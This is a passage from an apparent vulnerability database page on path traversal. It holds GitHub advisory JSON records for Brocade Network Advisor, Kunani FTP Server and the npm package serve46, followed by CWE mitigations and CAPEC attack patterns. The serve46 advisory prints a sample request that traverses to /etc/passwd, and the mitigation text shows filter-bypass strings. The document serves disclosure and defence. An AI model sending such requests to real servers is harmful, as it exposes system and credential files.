"url": "http://www.securityfocus.com/bid/27541"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QW92-P466-V2X9
Vulnerability from github – Published: 2022-05-14 03:25 – Updated: 2022-05-14 03:25A Directory Traversal vulnerability in CliMonitorReportServlet in the Brocade Network Advisor versions released prior to and including 14.0.2 could allow remote attackers to read arbitrary files including files with sensitive user information.
{
"affected": [],
"aliases": [
"CVE-2016-8207"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-14T19:59:00Z",
"severity": "HIGH"
},
"details": "A Directory Traversal vulnerability in CliMonitorReportServlet in the Brocade Network Advisor versions released prior to and including 14.0.2 could allow remote attackers to read arbitrary files including files with sensitive user information.",
"id": "GHSA-qw92-p466-v2x9",
"modified": "2022-05-14T03:25:02Z",
"published": "2022-05-14T03:25:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8207"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03785en_us"
},
{
"type": "WEB",
"url": "https://www.broadcom.com/support/fibre-channel-networking/security-advisories/brocade-security-advisory-2017-180"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95691"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-17-052"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QW9C-69XX-P79V
Vulnerability from github – Published: 2022-04-30 18:22 – Updated: 2022-04-30 18:22Directory traversal vulnerability in the Kunani ODBC FTP Server 1.0.10 allows remote attackers to read arbitrary files via a "..\" (dot dot backslash) in a GET request.
{
"affected": [],
"aliases": [
"CVE-2002-2238"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2002-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the Kunani ODBC FTP Server 1.0.10 allows remote attackers to read arbitrary files via a \"..\\\" (dot dot backslash) in a GET request.",
"id": "GHSA-qw9c-69xx-p79v",
"modified": "2022-04-30T18:22:46Z",
"published": "2022-04-30T18:22:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-2238"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/10819"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2002-12/0088.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/6355"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QW9C-8P76-3Q2X
Vulnerability from github – Published: 2020-09-01 18:49 – Updated: 2023-09-11 16:38Affected versions of serve46 resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "serve46"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16148"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:23:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `serve46` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
"id": "GHSA-qw9c-8p76-3q2x",
"modified": "2023-09-11T16:38:04Z",
"published": "2020-09-01T18:49:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16148"
},
{
"type": "WEB",
"url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/serve46"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/456"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in serve46"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.